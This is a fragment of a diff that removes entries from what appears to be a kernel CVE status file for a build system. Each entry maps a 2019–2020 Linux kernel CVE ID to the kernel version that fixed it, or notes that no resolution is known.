-CVE_STATUS[CVE-2019-11486] = "fixed-version: Fixed from version 5.1rc4"
-
-CVE_STATUS[CVE-2019-11487] = "fixed-version: Fixed from version 5.1rc5"
-
-CVE_STATUS[CVE-2019-11599] = "fixed-version: Fixed from version 5.1rc6"
-
-CVE_STATUS[CVE-2019-11683] = "fixed-version: Fixed from version 5.1"
-
-CVE_STATUS[CVE-2019-11810] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-11811] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-11815] = "fixed-version: Fixed from version 5.1rc4"
-
-CVE_STATUS[CVE-2019-11833] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-11884] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-12378] = "fixed-version: Fixed from version 5.2rc3"
-
-CVE_STATUS[CVE-2019-12379] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-12380] = "fixed-version: Fixed from version 5.2rc3"
-
-CVE_STATUS[CVE-2019-12381] = "fixed-version: Fixed from version 5.2rc3"
-
-CVE_STATUS[CVE-2019-12382] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-12454] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-12455] = "fixed-version: Fixed from version 5.3rc1"
-
-# CVE-2019-12456 has no known resolution
-
-CVE_STATUS[CVE-2019-12614] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-12615] = "fixed-version: Fixed from version 5.2rc4"
-
-CVE_STATUS[CVE-2019-12817] = "fixed-version: Fixed from version 5.2rc7"
-
-CVE_STATUS[CVE-2019-12818] = "fixed-version: Fixed from version 5.0"
-
-CVE_STATUS[CVE-2019-12819] = "fixed-version: Fixed from version 5.0rc8"
-
-CVE_STATUS[CVE-2019-12881] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2019-12984] = "fixed-version: Fixed from version 5.2rc6"
-
-CVE_STATUS[CVE-2019-13233] = "fixed-version: Fixed from version 5.2rc4"
-
-CVE_STATUS[CVE-2019-13272] = "fixed-version: Fixed from version 5.2"
-
-CVE_STATUS[CVE-2019-13631] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-13648] = "fixed-version: Fixed from version 5.3rc2"
-
-CVE_STATUS[CVE-2019-14283] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-14284] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-14615] = "fixed-version: Fixed from version 5.5rc7"
-
-CVE_STATUS[CVE-2019-14763] = "fixed-version: Fixed from version 4.17rc1"
-
-CVE_STATUS[CVE-2019-14814] = "fixed-version: Fixed from version 5.3"
-
-CVE_STATUS[CVE-2019-14815] = "fixed-version: Fixed from version 5.3"
-
-CVE_STATUS[CVE-2019-14816] = "fixed-version: Fixed from version 5.3"
-
-CVE_STATUS[CVE-2019-14821] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-14835] = "fixed-version: Fixed from version 5.3"
-
-CVE_STATUS[CVE-2019-14895] = "fixed-version: Fixed from version 5.5rc3"
-
-CVE_STATUS[CVE-2019-14896] = "fixed-version: Fixed from version 5.5"
-
-CVE_STATUS[CVE-2019-14897] = "fixed-version: Fixed from version 5.5"
-
-# CVE-2019-14898 has no known resolution
-
-CVE_STATUS[CVE-2019-14901] = "fixed-version: Fixed from version 5.5rc3"
-
-CVE_STATUS[CVE-2019-15030] = "fixed-version: Fixed from version 5.3rc8"
-
-CVE_STATUS[CVE-2019-15031] = "fixed-version: Fixed from version 5.3rc8"
-
-CVE_STATUS[CVE-2019-15090] = "fixed-version: Fixed from version 5.2rc2"
-
-CVE_STATUS[CVE-2019-15098] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-15099] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-15117] = "fixed-version: Fixed from version 5.3rc5"
-
-CVE_STATUS[CVE-2019-15118] = "fixed-version: Fixed from version 5.3rc5"
-
-CVE_STATUS[CVE-2019-15211] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-15212] = "fixed-version: Fixed from version 5.2rc3"
-
-CVE_STATUS[CVE-2019-15213] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-15214] = "fixed-version: Fixed from version 5.1rc6"
-
-CVE_STATUS[CVE-2019-15215] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-15216] = "fixed-version: Fixed from version 5.1"
-
-CVE_STATUS[CVE-2019-15217] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-15218] = "fixed-version: Fixed from version 5.2rc3"
-
-CVE_STATUS[CVE-2019-15219] = "fixed-version: Fixed from version 5.2rc3"
-
-CVE_STATUS[CVE-2019-15220] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-15221] = "fixed-version: Fixed from version 5.2"
-
-CVE_STATUS[CVE-2019-15222] = "fixed-version: Fixed from version 5.3rc3"
-
-CVE_STATUS[CVE-2019-15223] = "fixed-version: Fixed from version 5.2rc3"
-
-# CVE-2019-15239 has no known resolution
-
-# CVE-2019-15290 has no known resolution
-
-CVE_STATUS[CVE-2019-15291] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-15292] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-15504] = "fixed-version: Fixed from version 5.3"
-
-CVE_STATUS[CVE-2019-15505] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-15538] = "fixed-version: Fixed from version 5.3rc6"
-
-CVE_STATUS[CVE-2019-15666] = "fixed-version: Fixed from version 5.1"
-
-# CVE-2019-15791 has no known resolution
-
-# CVE-2019-15792 has no known resolution
-
-# CVE-2019-15793 has no known resolution
-
-CVE_STATUS[CVE-2019-15794] = "fixed-version: Fixed from version 5.12"
-
-CVE_STATUS[CVE-2019-15807] = "fixed-version: Fixed from version 5.2rc3"
-
-# CVE-2019-15902 has no known resolution
-
-CVE_STATUS[CVE-2019-15916] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-15917] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-15918] = "fixed-version: Fixed from version 5.1rc6"
-
-CVE_STATUS[CVE-2019-15919] = "fixed-version: Fixed from version 5.1rc6"
-
-CVE_STATUS[CVE-2019-15920] = "fixed-version: Fixed from version 5.1rc6"
-
-CVE_STATUS[CVE-2019-15921] = "fixed-version: Fixed from version 5.1rc3"
-
-CVE_STATUS[CVE-2019-15922] = "fixed-version: Fixed from version 5.1rc4"
-
-CVE_STATUS[CVE-2019-15923] = "fixed-version: Fixed from version 5.1rc4"
-
-CVE_STATUS[CVE-2019-15924] = "fixed-version: Fixed from version 5.1rc4"
-
-CVE_STATUS[CVE-2019-15925] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-15926] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-15927] = "fixed-version: Fixed from version 5.0rc2"
-
-# CVE-2019-16089 has no known resolution
-
-CVE_STATUS[CVE-2019-16229] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-16230] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-16231] = "fixed-version: Fixed from version 5.4rc6"
-
-CVE_STATUS[CVE-2019-16232] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-16233] = "fixed-version: Fixed from version 5.4rc5"
-
-CVE_STATUS[CVE-2019-16234] = "fixed-version: Fixed from version 5.4rc4"
-
-CVE_STATUS[CVE-2019-16413] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-16714] = "fixed-version: Fixed from version 5.3rc7"
-
-CVE_STATUS[CVE-2019-16746] = "fixed-version: Fixed from version 5.4rc2"
-
-CVE_STATUS[CVE-2019-16921] = "fixed-version: Fixed from version 4.17rc1"
-
-CVE_STATUS[CVE-2019-16994] = "fixed-version: Fixed from version 5.0"
-
-CVE_STATUS[CVE-2019-16995] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-17052] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-17053] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-17054] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-17055] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-17056] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-17075] = "fixed-version: Fixed from version 5.4rc3"
-
-CVE_STATUS[CVE-2019-17133] = "fixed-version: Fixed from version 5.4rc4"
-
-CVE_STATUS[CVE-2019-17351] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-17666] = "fixed-version: Fixed from version 5.4rc6"
-
-CVE_STATUS[CVE-2019-18198] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-18282] = "fixed-version: Fixed from version 5.4rc6"
-
-CVE_STATUS[CVE-2019-18660] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-18675] = "fixed-version: Fixed from version 4.17rc5"
-
-# CVE-2019-18680 has no known resolution
-
-CVE_STATUS[CVE-2019-18683] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-18786] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-18805] = "fixed-version: Fixed from version 5.1rc7"
-
-CVE_STATUS[CVE-2019-18806] = "fixed-version: Fixed from version 5.4rc2"
-
-CVE_STATUS[CVE-2019-18807] = "fixed-version: Fixed from version 5.4rc2"
-
-CVE_STATUS[CVE-2019-18808] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-18809] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-18810] = "fixed-version: Fixed from version 5.4rc2"
-
-CVE_STATUS[CVE-2019-18811] = "fixed-version: Fixed from version 5.4rc7"
-
-CVE_STATUS[CVE-2019-18812] = "fixed-version: Fixed from version 5.4rc7"
-
-CVE_STATUS[CVE-2019-18813] = "fixed-version: Fixed from version 5.4rc6"
-
-CVE_STATUS[CVE-2019-18814] = "fixed-version: Fixed from version 5.7rc7"
-
-CVE_STATUS[CVE-2019-18885] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-19036] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19037] = "fixed-version: Fixed from version 5.5rc3"
-
-CVE_STATUS[CVE-2019-19039] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2019-19043] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19044] = "fixed-version: Fixed from version 5.4rc6"
-
-CVE_STATUS[CVE-2019-19045] = "fixed-version: Fixed from version 5.4rc6"
-
-CVE_STATUS[CVE-2019-19046] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19047] = "fixed-version: Fixed from version 5.4rc6"
-
-CVE_STATUS[CVE-2019-19048] = "fixed-version: Fixed from version 5.4rc3"
-
-CVE_STATUS[CVE-2019-19049] = "fixed-version: Fixed from version 5.4rc5"
-
-CVE_STATUS[CVE-2019-19050] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19051] = "fixed-version: Fixed from version 5.4rc6"
-
-CVE_STATUS[CVE-2019-19052] = "fixed-version: Fixed from version 5.4rc7"
-
-CVE_STATUS[CVE-2019-19053] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19054] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19055] = "fixed-version: Fixed from version 5.4rc4"
-
-CVE_STATUS[CVE-2019-19056] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19057] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19058] = "fixed-version: Fixed from version 5.4rc4"
-
-CVE_STATUS[CVE-2019-19059] = "fixed-version: Fixed from version 5.4rc4"
-
-CVE_STATUS[CVE-2019-19060] = "fixed-version: Fixed from version 5.4rc3"
-
-CVE_STATUS[CVE-2019-19061] = "fixed-version: Fixed from version 5.4rc3"
-
-CVE_STATUS[CVE-2019-19062] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19063] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19064] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19065] = "fixed-version: Fixed from version 5.4rc3"
-
-CVE_STATUS[CVE-2019-19066] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19067] = "fixed-version: Fixed from version 5.4rc2"
-
-CVE_STATUS[CVE-2019-19068] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19069] = "fixed-version: Fixed from version 5.4rc3"
-
-CVE_STATUS[CVE-2019-19070] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19071] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19072] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19073] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19074] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19075] = "fixed-version: Fixed from version 5.4rc2"
-
-CVE_STATUS[CVE-2019-19076] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19077] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19078] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19079] = "fixed-version: Fixed from version 5.3"
-
-CVE_STATUS[CVE-2019-19080] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19081] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19082] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19083] = "fixed-version: Fixed from version 5.4rc2"
-
-CVE_STATUS[CVE-2019-19227] = "fixed-version: Fixed from version 5.1rc3"
-
-CVE_STATUS[CVE-2019-19241] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19252] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19318] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19319] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-19332] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19338] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19377] = "fixed-version: Fixed from version 5.7rc1"
-
-# CVE-2019-19378 has no known resolution
-
-CVE_STATUS[CVE-2019-19447] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19448] = "fixed-version: Fixed from version 5.9rc1"
-
-CVE_STATUS[CVE-2019-19449] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2019-19462] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2019-19523] = "fixed-version: Fixed from version 5.4rc3"
-
-CVE_STATUS[CVE-2019-19524] = "fixed-version: Fixed from version 5.4rc8"
-
-CVE_STATUS[CVE-2019-19525] = "fixed-version: Fixed from version 5.4rc2"
-
-CVE_STATUS[CVE-2019-19526] = "fixed-version: Fixed from version 5.4rc4"
-
-CVE_STATUS[CVE-2019-19527] = "fixed-version: Fixed from version 5.3rc4"
-
-CVE_STATUS[CVE-2019-19528] = "fixed-version: Fixed from version 5.4rc3"
-
-CVE_STATUS[CVE-2019-19529] = "fixed-version: Fixed from version 5.4rc7"
-
-CVE_STATUS[CVE-2019-19530] = "fixed-version: Fixed from version 5.3rc5"
-
-CVE_STATUS[CVE-2019-19531] = "fixed-version: Fixed from version 5.3rc4"
-
-CVE_STATUS[CVE-2019-19532] = "fixed-version: Fixed from version 5.4rc6"
-
-CVE_STATUS[CVE-2019-19533] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19534] = "fixed-version: Fixed from version 5.4rc7"
-
-CVE_STATUS[CVE-2019-19535] = "fixed-version: Fixed from version 5.3rc4"
-
-CVE_STATUS[CVE-2019-19536] = "fixed-version: Fixed from version 5.3rc4"
-
-CVE_STATUS[CVE-2019-19537] = "fixed-version: Fixed from version 5.3rc5"
-
-CVE_STATUS[CVE-2019-19543] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-19602] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19767] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2019-19768] = "fixed-version: Fixed from version 5.6rc4"
-
-CVE_STATUS[CVE-2019-19769] = "fixed-version: Fixed from version 5.6rc5"
-
-CVE_STATUS[CVE-2019-19770] = "fixed-version: Fixed from version 5.9rc1"
-
-CVE_STATUS[CVE-2019-19807] = "fixed-version: Fixed from version 5.4rc7"
-
-CVE_STATUS[CVE-2019-19813] = "fixed-version: Fixed from version 5.2rc1"
-
-# CVE-2019-19814 has no known resolution
-
-CVE_STATUS[CVE-2019-19815] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-19816] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-19922] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-19927] = "fixed-version: Fixed from version 5.1rc6"
-
-CVE_STATUS[CVE-2019-19947] = "fixed-version: Fixed from version 5.5rc3"
-
-CVE_STATUS[CVE-2019-19965] = "fixed-version: Fixed from version 5.5rc2"
-
-CVE_STATUS[CVE-2019-19966] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-1999] = "fixed-version: Fixed from version 5.1rc3"
-
-CVE_STATUS[CVE-2019-20054] = "fixed-version: Fixed from version 5.1rc3"
-
-CVE_STATUS[CVE-2019-20095] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-20096] = "fixed-version: Fixed from version 5.1rc4"
-
-CVE_STATUS[CVE-2019-2024] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2019-2025] = "fixed-version: Fixed from version 4.20rc5"
-
-CVE_STATUS[CVE-2019-20422] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-2054] = "fixed-version: Fixed from version 4.8rc1"
-
-CVE_STATUS[CVE-2019-20636] = "fixed-version: Fixed from version 5.5rc6"
-
-# CVE-2019-20794 has no known resolution
-
-CVE_STATUS[CVE-2019-20806] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-20810] = "fixed-version: Fixed from version 5.6rc1"
-
-CVE_STATUS[CVE-2019-20811] = "fixed-version: Fixed from version 5.1rc3"
-
-CVE_STATUS[CVE-2019-20812] = "fixed-version: Fixed from version 5.5rc3"
-
-CVE_STATUS[CVE-2019-20908] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2019-20934] = "fixed-version: Fixed from version 5.3rc2"
-
-CVE_STATUS[CVE-2019-2101] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-2181] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-2182] = "fixed-version: Fixed from version 4.16rc3"
-
-CVE_STATUS[CVE-2019-2213] = "fixed-version: Fixed from version 5.2rc6"
-
-CVE_STATUS[CVE-2019-2214] = "fixed-version: Fixed from version 5.3rc2"
-
-CVE_STATUS[CVE-2019-2215] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2019-25044] = "fixed-version: Fixed from version 5.2rc4"
-
-CVE_STATUS[CVE-2019-25045] = "fixed-version: Fixed from version 5.1"
-
-CVE_STATUS[CVE-2019-3016] = "fixed-version: Fixed from version 5.6rc1"
-
-CVE_STATUS[CVE-2019-3459] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-3460] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-3701] = "fixed-version: Fixed from version 5.0rc3"
-
-CVE_STATUS[CVE-2019-3819] = "fixed-version: Fixed from version 5.0rc6"
-
-CVE_STATUS[CVE-2019-3837] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2019-3846] = "fixed-version: Fixed from version 5.2rc6"
-
-CVE_STATUS[CVE-2019-3874] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-3882] = "fixed-version: Fixed from version 5.1rc4"
-
-CVE_STATUS[CVE-2019-3887] = "fixed-version: Fixed from version 5.1rc4"
-
-CVE_STATUS[CVE-2019-3892] = "fixed-version: Fixed from version 5.1rc6"
-
-CVE_STATUS[CVE-2019-3896] = "fixed-version: Fixed from version 2.6.35rc1"
-
-CVE_STATUS[CVE-2019-3900] = "fixed-version: Fixed from version 5.2rc4"
-
-CVE_STATUS[CVE-2019-3901] = "fixed-version: Fixed from version 4.6rc6"
-
-CVE_STATUS[CVE-2019-5108] = "fixed-version: Fixed from version 5.3"
-
-# Skipping CVE-2019-5489, no affected_versions
-
-CVE_STATUS[CVE-2019-6133] = "fixed-version: Fixed from version 5.0rc2"
-
-CVE_STATUS[CVE-2019-6974] = "fixed-version: Fixed from version 5.0rc6"
-
-CVE_STATUS[CVE-2019-7221] = "fixed-version: Fixed from version 5.0rc6"
-
-CVE_STATUS[CVE-2019-7222] = "fixed-version: Fixed from version 5.0rc6"
-
-CVE_STATUS[CVE-2019-7308] = "fixed-version: Fixed from version 5.0rc3"
-
-CVE_STATUS[CVE-2019-8912] = "fixed-version: Fixed from version 5.0rc8"
-
-CVE_STATUS[CVE-2019-8956] = "fixed-version: Fixed from version 5.0rc6"
-
-CVE_STATUS[CVE-2019-8980] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-9003] = "fixed-version: Fixed from version 5.0rc4"
-
-CVE_STATUS[CVE-2019-9162] = "fixed-version: Fixed from version 5.0rc7"
-
-CVE_STATUS[CVE-2019-9213] = "fixed-version: Fixed from version 5.0"
-
-CVE_STATUS[CVE-2019-9245] = "fixed-version: Fixed from version 5.0rc1"
-
-CVE_STATUS[CVE-2019-9444] = "fixed-version: Fixed from version 4.15rc2"
-
-CVE_STATUS[CVE-2019-9445] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-9453] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-9454] = "fixed-version: Fixed from version 4.15rc9"
-
-CVE_STATUS[CVE-2019-9455] = "fixed-version: Fixed from version 5.0rc1"
-
-CVE_STATUS[CVE-2019-9456] = "fixed-version: Fixed from version 4.16rc6"
-
-CVE_STATUS[CVE-2019-9457] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2019-9458] = "fixed-version: Fixed from version 4.19rc7"
-
-CVE_STATUS[CVE-2019-9466] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-9500] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-9503] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-9506] = "fixed-version: Fixed from version 5.2"
-
-CVE_STATUS[CVE-2019-9857] = "fixed-version: Fixed from version 5.1rc2"
-
-CVE_STATUS[CVE-2020-0009] = "fixed-version: Fixed from version 5.6rc3"
-
-CVE_STATUS[CVE-2020-0030] = "fixed-version: Fixed from version 4.16rc3"
-
-CVE_STATUS[CVE-2020-0041] = "fixed-version: Fixed from version 5.5rc2"
-
-CVE_STATUS[CVE-2020-0066] = "fixed-version: Fixed from version 4.3rc7"
-
-CVE_STATUS[CVE-2020-0067] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2020-0110] = "fixed-version: Fixed from version 5.6rc2"
-
-CVE_STATUS[CVE-2020-0255] = "fixed-version: Fixed from version 5.7rc4"
-
-CVE_STATUS[CVE-2020-0305] = "fixed-version: Fixed from version 5.5rc6"
-
-# CVE-2020-0347 has no known resolution
-
-CVE_STATUS[CVE-2020-0404] = "fixed-version: Fixed from version 5.6rc1"
-
-CVE_STATUS[CVE-2020-0423] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-0427] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2020-0429] = "fixed-version: Fixed from version 4.14rc4"
-
-CVE_STATUS[CVE-2020-0430] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2020-0431] = "fixed-version: Fixed from version 5.5rc6"
-
-CVE_STATUS[CVE-2020-0432] = "fixed-version: Fixed from version 5.6rc1"
-
-CVE_STATUS[CVE-2020-0433] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2020-0435] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2020-0444] = "fixed-version: Fixed from version 5.6rc4"
-
-CVE_STATUS[CVE-2020-0465] = "fixed-version: Fixed from version 5.9rc4"
-
-CVE_STATUS[CVE-2020-0466] = "fixed-version: Fixed from version 5.9rc2"
-
-CVE_STATUS[CVE-2020-0543] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-10135] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-10690] = "fixed-version: Fixed from version 5.5rc5"
-
-# CVE-2020-10708 has no known resolution
-
-CVE_STATUS[CVE-2020-10711] = "fixed-version: Fixed from version 5.7rc6"
-
-CVE_STATUS[CVE-2020-10720] = "fixed-version: Fixed from version 5.2rc3"
-
-CVE_STATUS[CVE-2020-10732] = "fixed-version: Fixed from version 5.7"
-
-CVE_STATUS[CVE-2020-10742] = "fixed-version: Fixed from version 3.16rc1"
-
-CVE_STATUS[CVE-2020-10751] = "fixed-version: Fixed from version 5.7rc4"
-
-CVE_STATUS[CVE-2020-10757] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-10766] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-10767] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-10768] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-10769] = "fixed-version: Fixed from version 5.0rc3"
-
-CVE_STATUS[CVE-2020-10773] = "fixed-version: Fixed from version 5.4rc6"
-
-# CVE-2020-10774 has no known resolution
-
-CVE_STATUS[CVE-2020-10781] = "fixed-version: Fixed from version 5.8rc6"
-
-CVE_STATUS[CVE-2020-10942] = "fixed-version: Fixed from version 5.6rc4"
-
-CVE_STATUS[CVE-2020-11494] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2020-11565] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2020-11608] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2020-11609] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2020-11668] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2020-11669] = "fixed-version: Fixed from version 5.2rc1"
-
-# CVE-2020-11725 has no known resolution
-
-CVE_STATUS[CVE-2020-11884] = "fixed-version: Fixed from version 5.7rc4"
-
-# CVE-2020-11935 has no known resolution
-
-CVE_STATUS[CVE-2020-12114] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2020-12351] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-12352] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-12362] = "fixed-version: Fixed from version 5.11rc1"
-
-CVE_STATUS[CVE-2020-12363] = "fixed-version: Fixed from version 5.11rc1"
-
-CVE_STATUS[CVE-2020-12364] = "fixed-version: Fixed from version 5.11rc1"
-
-CVE_STATUS[CVE-2020-12464] = "fixed-version: Fixed from version 5.7rc3"
-
-CVE_STATUS[CVE-2020-12465] = "fixed-version: Fixed from version 5.6rc6"
-
-CVE_STATUS[CVE-2020-12652] = "fixed-version: Fixed from version 5.5rc7"
-
-CVE_STATUS[CVE-2020-12653] = "fixed-version: Fixed from version 5.6rc1"
-
-CVE_STATUS[CVE-2020-12654] = "fixed-version: Fixed from version 5.6rc1"
-
-CVE_STATUS[CVE-2020-12655] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2020-12656] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-12657] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2020-12659] = "fixed-version: Fixed from version 5.7rc2"
-
